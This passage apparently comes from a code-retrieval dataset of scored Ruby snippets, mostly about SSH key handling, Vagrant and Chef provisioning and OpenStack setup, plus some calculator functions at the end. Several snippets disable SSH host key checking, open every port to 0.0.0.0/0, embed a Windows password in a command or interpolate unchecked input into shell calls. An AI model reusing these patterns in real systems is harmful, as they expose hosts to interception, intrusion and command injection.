"docid": "68bb943e104bf02e36e81eec8529e0e9",
"score": "0.5687338",
"text": "def install_key_from_uri(uri)\n key_name = uri.split(/\\//).last\n cached_keyfile = \"#{Chef::Config[:file_cache_path]}/#{key_name}\"\n if new_resource.key =~ /http/\n remote_file cached_keyfile do\n source new_resource.key\n mode 00644\n action :create\n end\n else\n cookbook_file cached_keyfile do\n source new_resource.key\n cookbook new_resource.cookbook\n mode 00644\n action :create\n end\n end\n\n execute \"install-key #{key_name}\" do\n command \"apt-key add #{cached_keyfile}\"\n action :run\n not_if do\n installed_keys = extract_fingerprints_from_cmd('apt-key finger')\n proposed_keys = extract_fingerprints_from_cmd(\"gpg --with-fingerprint #{cached_keyfile}\")\n (installed_keys & proposed_keys).sort == proposed_keys.sort\n end\n end\nend",
"title": ""
},
{
"docid": "22ab1f5a04d47c4134112dce3c2a0e81",
"score": "0.5679543",
"text": "def desc\n \"SSH command shell\"\n end",
"title": ""
},
{
"docid": "7887be4745ebffff1b1bb23694d40f1a",
"score": "0.56723046",
"text": "def exchange_keys\n @kex_info[ :need_bytes ] = get_kex_byte_requirement\n\n kex = @kexs.fetch( @algorithms.kex )\n result = kex.exchange_keys( self, @kex_info )\n\n @shared_secret = result[ :shared_secret ]\n hash = result[ :session_id ]\n @session_id = hash unless @session_id\n @server_key = result[ :server_key ]\n @hashing_algorithm = result[ :hashing_algorithm ]\n\n # prepare the ciphers, et. al.\n secret_bin = @shared_secret.to_ssh\n\n iv_c2s = @hashing_algorithm.digest( secret_bin +\n hash +\n \"A\" +\n @session_id )\n iv_s2c = @hashing_algorithm.digest( secret_bin +\n hash +\n \"B\" +\n @session_id )\n key_c2s = @hashing_algorithm.digest( secret_bin +\n hash +\n \"C\" +\n @session_id )\n key_s2c = @hashing_algorithm.digest( secret_bin +\n hash +\n \"D\" +\n @session_id )\n mac_key_c2s = @hashing_algorithm.digest( secret_bin +\n hash +\n \"E\" +\n @session_id )\n mac_key_s2c = @hashing_algorithm.digest( secret_bin +\n hash +\n \"F\" +\n @session_id )\n\n cipher_c2s = @ciphers.get( \n @algorithms.encryption_c2s, iv_c2s, key_c2s,\n secret_bin, hash, @hashing_algorithm,\n true )\n\n cipher_s2c = @ciphers.get( \n @algorithms.encryption_s2c, iv_s2c, key_s2c,\n secret_bin, hash, @hashing_algorithm,\n false )\n\n mac_c2s = @hmacs.get( @algorithms.mac_c2s, mac_key_c2s );\n mac_s2c = @hmacs.get( @algorithms.mac_s2c, mac_key_s2c );\n\n compression_c2s = @compressors[ @algorithms.compression_c2s ].new(\n :level => @algorithms.compression_level )\n compression_s2c = @decompressors[ @algorithms.compression_s2c ].new\n\n @packet_sender.set_algorithms cipher_c2s, mac_c2s, compression_c2s\n @packet_receiver.set_algorithms cipher_s2c, mac_s2c, compression_s2c\n end",
"title": ""
},
{
"docid": "1582011fccbb83ff904bd8c2235b2d29",
"score": "0.5665659",
"text": "def fetch_host_keys(hosts_stat, verbose = false)\n\n #\n # 1. Remove keys from known_hosts, using ssh-keygen -R <host>\n #\n\n hosts_stat.each do |hs|\n\n hs[:names].each do |hn|\n system(\n \"ssh-keygen -f \\\"#{$known_hosts}\\\" -R #{hn} > /dev/null 2> /dev/null\" )\n end\n\n end\n\n #\n # 2. Fetch new keys using ssh-keyscan\n #\n\n begin\n\n $stderr.print \"Fetching host keys to #{$known_hosts}:\\n \" if verbose\n\n open($known_hosts, 'a') do |file|\n\n tot = hosts_stat.length\n count = 1\n\n hosts_stat.each do |hs|\n\n if verbose\n pct = 100. * count.to_f / tot.to_f\n $stderr.printf( \"\\r\\033[0K[% 3d%%] %s\", pct.round, hs[:names].first )\n $stderr.flush\n end\n\n keys = %x[ ssh-keyscan -t rsa,dsa #{hs[:names].first} 2> /dev/null ]\n keys.gsub!( hs[:names].first, hs[:names].join(',') )\n\n file << keys\n\n count += 1\n\n end\n\n file.close\n\n end\n\n warn \"\\r\\033[0KDone!\" if verbose\n\n rescue\n return false\n end\n\n return true\n\nend",
"title": ""
},
{
"docid": "07876a2f805ba083dd3da1982ffa27dc",
"score": "0.5659491",
"text": "def cleanup_host(machine_spec)\n if machine_spec.location[\"ip_address\"]\n %x(ssh-keygen -R \"#{machine_spec.location[\"ip_address\"]}\")\n end\n end",
"title": ""
},
{
"docid": "f05ca3238bdf2b4ee09822f2ad5e14dc",
"score": "0.5656921",
"text": "def ssh_common_opts\n [\"-i #{@machine.ssh_info[:private_key_path]}\",\n \"-p #{@machine.ssh_info[:port]}\",\n \"-o StrictHostKeyChecking=no\",\n \"-o UserKnownHostsFile=/dev/null\",\n \"-o IdentitiesOnly=yes\",\n \"-o LogLevel=ERROR\"]\n end",
"title": ""
},
{
"docid": "0a8de65e10e24062aa178c4a57c7b93a",
"score": "0.5648727",
"text": "def compareKeys(abuser)\n if ! abuser.nil? || ! abuser.empty?\n sshkey = `knife data bag show users #{abuser} 2>/dev/null |grep -w 'ssh_keys:'|cut -d':' -f2`\n else\n $sshkey = ''\n end\nend",
"title": ""
},
{
"docid": "d6115bb33c08177ab67d8f88f9176646",
"score": "0.5646045",
"text": "def public_key; end",
"title": ""
},
{
"docid": "d6115bb33c08177ab67d8f88f9176646",
"score": "0.5646045",
"text": "def public_key; end",
"title": ""
},
{
"docid": "d6115bb33c08177ab67d8f88f9176646",
"score": "0.5646045",
"text": "def public_key; end",
"title": ""
},
{
"docid": "ae8096bb83f64bfb7941638d629a4fce",
"score": "0.5644588",
"text": "def public_key=(_); end",
"title": ""
},
{
"docid": "ae8096bb83f64bfb7941638d629a4fce",
"score": "0.5644588",
"text": "def public_key=(_); end",
"title": ""
},
{
"docid": "4f8f1618d3688bbd9d99435e84191b89",
"score": "0.56441087",
"text": "def do_ssh\n validate_parameters\n\n auth_types = []\n auth_types << 'PASSWORD' if @password && !@password.empty?\n auth_types << \"KEY (#{@key_type})\"\n\n connection = @host\n connection += \" port #{@port}\" if @port != 0\n\n write_output(\"\\nConnecting to #{connection} as #{@user} using auth [#{auth_types.join(', ')}]\")\n\n options = {\n :host_key => @key_type,\n :password => @password,\n :port => @port == 0 ? DEFAULT_PORT : @port,\n :timeout => @timeout,\n }\n options[:keys] = [@key_path] unless @key_path.empty?\n\n session = start(@host, @user, options, @retries, @wait)\n yield(session)\n rescue PluginError\n # Re-raise\n raise\n rescue Exception => e\n raise PluginError, \"Error in SSH connection: #{e.class} #{e}\\n\" + e.backtrace.join(\"\\n\")\n ensure\n close\n end",
"title": ""
},
{
"docid": "55393747a0dd5488a52f86894a689079",
"score": "0.56421053",
"text": "def create_ssh_keys(config)\n system(\"ssh-keygen -t rsa -N '' -f id_rsa\") unless File.exist?('id_rsa')\n\n config.vm.provision 'ssh', type: 'shell', inline: <<-SHELL\n mkdir -m 0700 -p /root/.ssh\n cp /vagrant/id_rsa /root/.ssh/.\n chmod 0600 /root/.ssh/id_rsa\n mkdir -m 0700 -p /root/.ssh\n [ -f /vagrant/id_rsa.pub ] && (awk -v pk=\\\"`cat /vagrant/id_rsa.pub`\\\" 'BEGIN{split(pk,s,\\\" \\\")} $2 == s[2] {m=1;exit}END{if (m==0)print pk}' /root/.ssh/authorized_keys ) >> /root/.ssh/authorized_keys\n chmod 0600 /root/.ssh/authorized_keys\n\n cat > /etc/ssh/ssh_config <<__EOF\n Host *\n StrictHostKeyChecking no\n__EOF\n SHELL\nend",
"title": ""
},
{
"docid": "fa102da8ea851dbd25a9a974271af594",
"score": "0.5638352",
"text": "def add_key_access(vm)\n vm.provision \"file\",\n source: \"./setupfiles/vagrant_testkey.pub\",\n destination: \"/tmp/vagrant_testkey.pub\"\n vm.provision \"shell\", inline: <<-EOS\n cat /tmp/vagrant_testkey.pub >> /home/vagrant/.ssh/authorized_keys\n chmod 600 /home/vagrant/.ssh/authorized_keys\n EOS\nend",
"title": ""
},
{
"docid": "df2d04ca71ba319d0ff697f9d381235f",
"score": "0.56325185",
"text": "def get_key_from(field)\n return [] if Chef::Config[:solo] && !chef_solo_search_installed?\n return [] unless Chef::DataBag.list.key?('users')\n search('users', \"#{field}:*\").map do |v| # ~FC003 ignore footcritic violation\n Chef::Log.info \"ssh_server: installing ssh-keys for root access of user #{v['id']}\"\n v[field]\n end.flatten\nend",
"title": ""
},
{
"docid": "e355063337ebe8dff29655e0980e9ec2",
"score": "0.56251556",
"text": "def add_key_access(vm)\n vm.provision \"file\",\n source: \"./vagrant_testkey.pub\",\n destination: \"/tmp/vagrant_testkey.pub\"\n vm.provision \"shell\", inline: <<-EOS\n cat /tmp/vagrant_testkey.pub >> /home/vagrant/.ssh/authorized_keys\n chmod 600 /home/vagrant/.ssh/authorized_keys\n EOS\nend",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.56211996",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.56211996",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.56211996",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.56211996",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.56211996",
"text": "def keypair; end",
"title": ""
},
{
"docid": "3a7c5f28e140c5f6d6a2734bc7e5e90a",
"score": "0.56210834",
"text": "def private_key_required?\n @uri.ssh?\n end",
"title": ""
},
{
"docid": "9ff9be5009d163885230dce79f766939",
"score": "0.56205106",
"text": "def create_kp_sg!(conn, key, groups)\n unless @mock\n key_path = File.expand_path(\"~/.ssh/#{key}\")\n # validate key, create if does not exist and write it to local file path\n if conn.key_pairs.get(key) # key pairs exists\n # but file does not exist\n if File.exist?(key_path) # file already exists, validate the fingerprint to be sure\n # check if ssh-keygen exists\n _, _, s = Util::ShellUtils.system_quietly('which ssh-keygen')\n if s.exitstatus == 0\n out_key, _, _ = Util::ShellUtils.system_quietly(\"ssh-keygen -y -f #{key_path}\")\n remote_key = conn.key_pairs.get(key).public_key.match(/ssh-rsa ([^\\s]+)/)[1]\n unless out_key.match(/ssh-rsa ([^\\s]+)/)[1] == remote_key\n @log.error \"Key '#{key}' already exists on local system and it's fingerprint does not match with remote \"\\\n \"key_pair's fingerprint. Either delete the key in openstack and rename the local file ['#{key_path}'] \"\\\n \"(or) update the 'os_ssh_key' property in the config file to another name.\"\n abort\n end\n else\n @log.warn 'Cannot find ssh-keygen, its recommended to install ssh-keygen to check fingerprints of the keypair(s)'\n end\n else\n @log.error \"Key with name '#{key}' already exists in openstack but failed to find the key in \" +\n \"'#{key_path}', please change the 'os_key' name or delete the key in os to recreate the key\"\n abort\n end\n else # key pair does not exist in os\n @log.debug \"Cannot find the key pair specified, creating key_pair '#{key}'\"\n if File.exist?(key_path) # but ssh file exists\n @log.error \"Key '#{key}' already exists, please rename|delete '#{key_path}' to proceed\"\n exit 1\n end\n key_pair = conn.key_pairs.create(:name => key)\n File.open(File.expand_path(\"~/.ssh/#{key}\"), 'w') do |f|\n f.write(key_pair.private_key)\n end\n File.chmod(0600, File.expand_path(\"~/.ssh/#{key}\"))\n end\n\n # validate group, create if does not exist and ingest some basic rules\n groups.each do |group|\n unless conn.security_groups.map {|x| x.name }.include?(group)\n @log.debug \"Cannot find security group specified, creating security group #{group}\"\n conn.security_groups.create(:name => group, :description => 'group managed by ankus')\n end\n end\n groups.each do |group|\n sec_group_id = conn.security_groups.find {|g| g.name == group}.id\n sec_group = conn.security_groups.get(sec_group_id)\n # check and authorize for ssh port\n open_ssh = sec_group.security_group_rules.detect do |ip_permission|\n ip_permission.ip_range.first && ip_permission.ip_range['cidr'] == '0.0.0.0/0' &&\n ip_permission.from_port == 22 &&\n ip_permission.to_port == 22 &&\n ip_permission.ip_protocol == 'tcp'\n end\n open_all_tcp = sec_group.security_group_rules.detect do |ip_permission|\n ip_permission.ip_range.first && ip_permission.ip_range['cidr'] == '0.0.0.0/0' &&\n ip_permission.from_port == 1 &&\n ip_permission.to_port == 65535 &&\n ip_permission.ip_protocol == 'tcp'\n end\n open_all_udp = sec_group.security_group_rules.detect do |ip_permission|\n ip_permission.ip_range.first && ip_permission.ip_range['cidr'] == '0.0.0.0/0' &&\n ip_permission.from_port == 1 &&\n ip_permission.to_port == 65535 &&\n ip_permission.ip_protocol == 'udp'\n end\n open_all_icmp = sec_group.security_group_rules.detect do |ip_permission|\n ip_permission.ip_range.first && ip_permission.ip_range['cidr'] == '0.0.0.0/0' &&\n ip_permission.from_port == -1 &&\n ip_permission.to_port == -1 &&\n ip_permission.ip_protocol == 'icmp'\n end\n open_icmp_echo_req = sec_group.security_group_rules.detect do |ip_permission|\n ip_permission.ip_range.first && ip_permission.ip_range['cidr'] == '0.0.0.0/0' &&\n ip_permission.from_port == 0 &&\n ip_permission.to_port == -1 &&\n ip_permission.ip_protocol == 'icmp'\n end\n open_icmp_echo_rep = sec_group.security_group_rules.detect do |ip_permission|\n ip_permission.ip_range.first && ip_permission.ip_range['cidr'] == '0.0.0.0/0' &&\n ip_permission.from_port == 8 &&\n ip_permission.to_port == -1 &&\n ip_permission.ip_protocol == 'icmp'\n end\n unless open_ssh\n conn.create_security_group_rule(sec_group_id, 'tcp', 22, 22, '0.0.0.0/0')\n end\n # TODO: authorize specific ports for hadoop, hbase\n unless open_all_tcp\n conn.create_security_group_rule(sec_group_id, 'tcp', 1, 65535, '0.0.0.0/0')\n end\n unless open_all_udp\n conn.create_security_group_rule(sec_group_id, 'udp', 1, 65535, '0.0.0.0/0')\n end\n unless open_all_icmp\n unless open_icmp_echo_req\n conn.create_security_group_rule(sec_group_id, 'icmp', 0, -1, '0.0.0.0/0')\n end\n unless open_icmp_echo_rep\n conn.create_security_group_rule(sec_group_id, 'icmp', 8, -1, '0.0.0.0/0')\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "eee5abf225c9d2db915de065bbca2f5c",
"score": "0.562018",
"text": "def getSSHConnectionHelper()\n return SSHConnection.new\n end",
"title": ""
},
{
"docid": "68d203c2c554715ba47098d736aef356",
"score": "0.5600388",
"text": "def create_inception_key_pair\n say \"Creating ssh key pair for Inception VM...\"\n create_key_pair_store_in_settings(\"inception\")\n end",
"title": ""
},
{
"docid": "a52170001c2f28a2bbba7f42367b12a8",
"score": "0.5599839",
"text": "def mock_ssh_keys_path_undo\n return unless SshKey.respond_to?(:real_keyfile_path)\n \n SshKey.class_eval do\n (class <<self; self; end).class_eval do\n undef keyfile_path\n alias_method :keyfile_path, :real_keyfile_path\n undef real_keyfile_path\n end\n end\n end",
"title": ""
},
{
"docid": "937df30c068b6a2ceaa6000771860838",
"score": "0.5597995",
"text": "def sshkey_params\n params.require(:sshkey).permit(:user_id, :key, :keytype)\n end",
"title": ""
},
{
"docid": "64161b2a44f67905470b91ccca0e84d8",
"score": "0.5597664",
"text": "def ssh_signature_type; end",
"title": ""
},
{
"docid": "64161b2a44f67905470b91ccca0e84d8",
"score": "0.5597664",
"text": "def ssh_signature_type; end",
"title": ""
},
{
"docid": "64161b2a44f67905470b91ccca0e84d8",
"score": "0.5597664",
"text": "def ssh_signature_type; end",
"title": ""
},
{
"docid": "5ab254444198ece75a789560a137fe3d",
"score": "0.5587094",
"text": "def generate_key\n puts \"please enter return 3 times\"\n cmd = \"ssh-keygen -t rsa\"\n `#{cmd}`\n end",
"title": ""
},
{
"docid": "a56945b9c4e5e54efe59da0188234259",
"score": "0.5586598",
"text": "def init_sshkeys\n @ssh_keys = []\n @ssh_key = { name: 'nosshkey' }\n\n response = @conn.get do |req|\n req.url \"/api/v1/sshkeys\"\n req.headers = rest_headers\n end\n\n @ssh_keys = json(response.body)[:sshkeys]\n @ssh_key = @ssh_keys.first if @ssh_keys.length\n end",
"title": ""
},
{
"docid": "f1f9aca7195bc74fd94c59de2d8979e2",
"score": "0.55851",
"text": "def call\n shell.create_file private_key_filepath, rsa_private_key.to_pem\n shell.create_file protected_key_filepath, rsa_protected_key\n shell.create_file public_key_filepath, rsa_public_key.to_pem\n\n `chmod 600 #{private_key_filepath}`\n `chmod 600 #{protected_key_filepath}`\n `chmod 644 #{public_key_filepath}`\n\n ::FileUtils.touch gitignore_filepath\n\n unless ::File.read(gitignore_filepath) =~ /^.chamber.pem$/\n shell.append_to_file gitignore_filepath, \"\\n# Private and protected key files for Chamber\\n\"\n shell.append_to_file gitignore_filepath, \"#{private_key_filename}\\n\"\n shell.append_to_file gitignore_filepath, \"#{protected_key_filename}\\n\"\n end\n\n shell.copy_file settings_template_filepath, settings_filepath\n\n shell.say ''\n shell.say 'The passphrase for your encrypted private key is:', :green\n shell.say ''\n shell.say rsa_key_passphrase, :green\n shell.say ''\n shell.say 'Store this securely somewhere.', :green\n shell.say ''\n shell.say 'You can send them the file located at:', :green\n shell.say ''\n shell.say protected_key_filepath, :green\n shell.say ''\n shell.say 'and not have to worry about sending it via a secure medium (such as', :green\n shell.say 'email), however do not send the passphrase along with it. Give it to', :green\n shell.say 'your team members in person.', :green\n shell.say ''\n shell.say 'In order for them to decrypt it (for use with Chamber), they can run:', :green\n shell.say ''\n shell.say \"$ cp /path/to/{#{protected_key_filename},#{private_key_filename}}\", :green\n shell.say \"$ ssh-keygen -p -f /path/to/#{private_key_filename}\", :green\n shell.say ''\n shell.say 'Enter the passphrase when prompted and leave the new passphrase blank.', :green\n shell.say ''\n end",
"title": ""
},
{
"docid": "14a79d693bc1e4234f1eaad5d6e1c1e3",
"score": "0.5575986",
"text": "def user_to_private_keys(home, private_keys)\n private_keys.map do |filename, data|\n {\n 'fn' => \"#{home}/.ssh/#{filename}\",\n 'content' => data\n }\n end\nend",
"title": ""
},
{
"docid": "9ae404efa5f5cdaaa3c5f50dfb570d5a",
"score": "0.55681187",
"text": "def secret_key; end",
"title": ""
},
{
"docid": "7a578d4c893e5cfdf1c4e64008435293",
"score": "0.55580884",
"text": "def verify_host_key_option\n current_net_ssh = Net::SSH::Version::CURRENT\n new_option_version = Net::SSH::Version[4, 2, 0]\n\n current_net_ssh >= new_option_version ? :verify_host_key : :paranoid\n end",
"title": ""
},
{
"docid": "4db5db0ab2d386dbeb34d1d4c57a8432",
"score": "0.5554772",
"text": "def key\n @agent.private_key\n end",
"title": ""
},
{
"docid": "223dfe7a12ab5bf85da18ab7e72088bd",
"score": "0.5552695",
"text": "def get_ec2_ssh_key id\n Ec2SshKey.new get(\"/ec2_ssh_keys/#{id}\").merge :id => id, :account => self\n end",
"title": ""
},
{
"docid": "a516456033e30c7d6b00fc100bf960dc",
"score": "0.55519223",
"text": "def key_pem; end",
"title": ""
},
{
"docid": "a51298440d6396f28e7d34baf9cf47ee",
"score": "0.5536349",
"text": "def add_key(key)\n post(\"/api/v1/ssh_keys\", :key => key).to_s\n end",
"title": ""
},
{
"docid": "24774aa034cd980bec4f762d8577ef49",
"score": "0.5535064",
"text": "def sha256_fingerprint\n Base64.encode64(Digest::SHA256.digest(ssh_public_key_conversion)).gsub(\"\\n\", \"\")\n end",
"title": ""
},
{
"docid": "a0ecf0e80c2accfe118ac037086a33ec",
"score": "0.55246305",
"text": "def initialSSHTasks(ssh)\n win_env_fix = %q{echo 'export PATH=\"$PATH:/cygdrive/c/opscode/chef/embedded/bin\"' > \"$HOME/chef-client\"; echo 'prev_dir=\"`pwd`\"; for __dir in /proc/registry/HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session\\ Manager/Environment;do cd \"$__dir\"; for __var in `ls * | grep -v TEMP | grep -v TMP`;do __var=`echo $__var | tr \"[a-z]\" \"[A-Z]\"`; test -z \"${!__var}\" && export $__var=\"`cat $__var`\" >/dev/null 2>&1; done; done; cd \"$prev_dir\"; /cygdrive/c/opscode/chef/bin/chef-client.bat $@' >> \"$HOME/chef-client\"; chmod 700 \"$HOME/chef-client\"; ( grep \"^alias chef-client=\" \"$HOME/.bashrc\" || echo 'alias chef-client=\"$HOME/chef-client\"' >> \"$HOME/.bashrc\" ) ; ( grep \"^alias mu-groom=\" \"$HOME/.bashrc\" || echo 'alias mu-groom=\"powershell -File \\\"c:/Program Files/Amazon/Ec2ConfigService/Scripts/UserScript.ps1\\\"\"' >> \"$HOME/.bashrc\" )}\n win_installer_check = %q{ls /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Installer/}\n lnx_installer_check = %q{ps auxww | awk '{print $11}' | egrep '(/usr/bin/yum|apt-get|dpkg)'}\n lnx_updates_check = %q{( test -f /.mu-installer-ran-updates || ! test -d /var/lib/cloud/instance ) || echo \"userdata still running\"}\n win_set_pw = nil\n\n if windows? and !@config['use_cloud_provider_windows_password']\n # This covers both the case where we have a windows password passed from a vault and where we need to use a a random Windows Admin password generated by MU::Cloud::Server.generateWindowsPassword\n pw = @groomer.getSecret(\n vault: @config['mu_name'],\n item: \"windows_credentials\",\n field: \"password\"\n )\n win_check_for_pw = %Q{powershell -Command '& {Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential(\"#{@config[\"windows_admin_username\"]}\", (ConvertTo-SecureString \"#{pw}\" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result}'}\n win_set_pw = %Q{powershell -Command \"& {(([adsi]('WinNT://./#{@config[\"windows_admin_username\"]}, user')).psbase.invoke('SetPassword', '#{pw}'))}\"}\n end\n\n # There shouldn't be a use case where a domain joined computer goes through initialSSHTasks. Removing Active Directory specific computer rename.\n set_hostname = true\n hostname = nil\n if !@config['active_directory'].nil?\n if @config['active_directory']['node_type'] == \"domain_controller\" && @config['active_directory']['domain_controller_hostname']\n hostname = @config['active_directory']['domain_controller_hostname']\n @mu_windows_name = hostname\n set_hostname = true\n else\n # Do we have an AD specific hostname?\n hostname = @mu_windows_name\n set_hostname = true\n end\n else\n hostname = @mu_windows_name\n end\n win_check_for_hostname = %Q{powershell -Command '& {hostname}'}\n win_set_hostname = %Q{powershell -Command \"& {Rename-Computer -NewName '#{hostname}' -Force -PassThru -Restart; Restart-Computer -Force }\"}\n\n begin\n # Set our admin password first, if we need to\n if windows? and !win_set_pw.nil? and !win_check_for_pw.nil?\n output = ssh.exec!(win_check_for_pw)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if !output.match(/True/)\n MU.log \"Setting Windows password for user #{@config['windows_admin_username']}\", details: ssh.exec!(win_set_pw)\n end\n end\n if windows?\n output = ssh.exec!(win_env_fix)\n output = ssh.exec!(win_installer_check)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if output.match(/InProgress/)\n raise MU::Cloud::BootstrapTempFail, \"Windows Installer service is still doing something, need to wait\"\n end\n if set_hostname and !@hostname_set and @mu_windows_name\n output = ssh.exec!(win_check_for_hostname)\n raise MU::Cloud::BootstrapTempFail, \"Got nil output from ssh session, waiting and retrying\" if output.nil?\n if !output.match(/#{@mu_windows_name}/)\n MU.log \"Setting Windows hostname to #{@mu_windows_name}\", details: ssh.exec!(win_set_hostname)\n @hostname_set = true\n # Reboot from the API too, in case Windows is flailing\n if !@cloudobj.nil?\n @cloudobj.reboot\n else\n reboot\n end\n raise MU::Cloud::BootstrapTempFail, \"Set hostname in Windows, waiting for reboot\"\n end\n end\n else\n output = ssh.exec!(lnx_installer_check)\n if !output.nil? and !output.empty?\n raise MU::Cloud::BootstrapTempFail, \"Linux package manager is still doing something, need to wait (#{output})\"\n end\n if !@config['skipinitialupdates']\n output = ssh.exec!(lnx_updates_check)\n if !output.nil? and output.match(/userdata still running/)\n raise MU::Cloud::BootstrapTempFail, \"Waiting for initial userdata system updates to complete\"\n end\n end\n end\n rescue RuntimeError => e\n raise MU::Cloud::BootstrapTempFail, \"Got #{e.inspect} performing initial SSH connect tasks, will try again\"\n end\n\n end",
"title": ""
},
{
"docid": "cd009a6179b62f75b2219b301017e4fe",
"score": "0.5522981",
"text": "def sshkey_params\n\t\tparams.require(:sshkey).permit(:user_id, :key)\n\tend",
"title": ""
},
{
"docid": "b858399ce2ce13aeba2a787c331564e0",
"score": "0.5504775",
"text": "def add_ssh_key(key)\n if persisted?\n pending_op = PendingUserOps.new(op_type: :add_ssh_key, arguments: key.attributes.dup, state: :init, on_domain_ids: self.domains.map{|d|d._id.to_s}, created_at: Time.new)\n CloudUser.where(_id: self.id).update_all({ \"$push\" => { pending_ops: pending_op.serializable_hash_with_timestamp , ssh_keys: key.serializable_hash }})\n reload.run_jobs\n else\n ssh_keys << key\n end\n end",
"title": ""
},
{
"docid": "ee8ce1eb30cd6ade5c38c6ce1e697011",
"score": "0.54964316",
"text": "def private_key_get\n return @priv_key unless @priv_key.nil?\n priv_key_path = File.join(resource[:priv_key_dir], resource[:priv_key_name])\n @priv_key = if Pathname.new(priv_key_path).exist?\n file = File.read(priv_key_path)\n case resource[:auth_type].downcase\n when 'dsa'\n OpenSSL::PKey::DSA.new(file, resource[:key_password])\n when 'rsa'\n OpenSSL::PKey::RSA.new(file, resource[:key_password])\n when 'ec'\n OpenSSL::PKey::EC.new(file, resource[:key_password])\n else\n raise Puppet::Error, \"Unknown authentication type '#{resource[:auth_type]}'\"\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "9eb6c7c06584cc5ccde9a7d076568013",
"score": "0.5493647",
"text": "def create_ssh_key_with_http_info(ssh_key, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SSHKeysApi.create_ssh_key ...'\n end\n # verify the required parameter 'ssh_key' is set\n if @api_client.config.client_side_validation && ssh_key.nil?\n fail ArgumentError, \"Missing the required parameter 'ssh_key' when calling SSHKeysApi.create_ssh_key\"\n end\n # resource path\n local_var_path = '/ssh-keys'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(ssh_key)\n\n # return_type\n return_type = opts[:debug_return_type] || 'SSHKey'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['x_auth_token']\n\n new_options = opts.merge(\n :operation => :\"SSHKeysApi.create_ssh_key\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SSHKeysApi#create_ssh_key\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "9aa04b0f8cba223c15b457d99601e299",
"score": "0.5493023",
"text": "def ssh_private_key(name)\n get(driver_url + API_BASE + \"nodes/#{name}/attribs/#{KEY_ATTRIB}\")\n end",
"title": ""
},
{
"docid": "7e0d3928f45b1229683757fbd6f62d35",
"score": "0.5492058",
"text": "def handle_sync_key enc_key\n PRIVATE_KEY.private_decrypt enc_key\n end",
"title": ""
}
] |
d6a2c1dab78c14c71ec40f0f25c65a93
|
Calculate Operated Value operation : operation (0: increase, 1: decrease) operand_type : operand type (0: invariable 1: variable) operand : operand (number or variable ID)
|
[
{
"docid": "3f4594aac9443a391c773fffb98d9e0b",
"score": "0.79542345",
"text": "def operate_value(operation, operand_type, operand)\n if operand_type == 0\n value = operand\n else\n value = $game_variables[operand]\n end\n if operation == 1\n value = -value\n end\n return value\n end",
"title": ""
}
] |
[
{
"docid": "83fc187a8f3d5abb50dfc14bda31f4cf",
"score": "0.7774289",
"text": "def operate_value(operation, operand_type, operand)\r\n value = operand_type == 0 ? operand : $game_variables[operand]\r\n operation == 0 ? value : -value\r\n end",
"title": ""
},
{
"docid": "9e5dfc81a1fadf4de233599070037990",
"score": "0.7151586",
"text": "def calculate(starting_value, operations)\n sum = starting_value\n operations.each do |ops|\n operator = ops[0]\n operand = ops[1]\n \n case operator\n when '+'\n sum += operand \n when '-'\n sum -= operand\n when '*'\n sum *= operand\n when '/'\n sum /=operand\n else \n end\n end \n sum \nend",
"title": ""
},
{
"docid": "47e635bb6a895c1db3da2e6f6648e59b",
"score": "0.6858951",
"text": "def calculate(op, x, y)\n case op\n when 'plus'\n x.to_f + y.to_f\n when 'minus'\n x.to_f - y.to_f\n when 'divide'\n x.to_f / y.to_f\n when 'multiple'\n x.to_f * y.to_f\n end\nend",
"title": ""
},
{
"docid": "550045f57df951bc5fbeb44c39101443",
"score": "0.6623117",
"text": "def calculate(starting_value, operations)\n for i in 0...operations.length\n # just in case an unexpected operator is given:\n if '*/+-'.include?(operations[i][0]) == false\n puts 'unexpected operator!'\n break\n end\n \n if operations[i][0] == \"*\"\n starting_value *= operations[i][1]\n elsif operations[i][0] == \"+\"\n starting_value += operations[i][1]\n elsif operations[i][0] == \"-\"\n starting_value -= operations[i][1]\n else\n starting_value /= operations[i][1]\n end\n end\n starting_value\nend",
"title": ""
},
{
"docid": "de027271426a033fe0ccb9b289c3f14d",
"score": "0.66170096",
"text": "def perform_operation(operator)\n operands = stack.last(2)\n if valid_operation?(operator, operands)\n operands = stack.pop(2).map(&:to_f)\n new_value = operands[0].send(operator, operands[1]).to_s\n\n Input.new(new_value)\n end\n end",
"title": ""
},
{
"docid": "d9d442323b76d80f3779291a9ef9cbf9",
"score": "0.66113687",
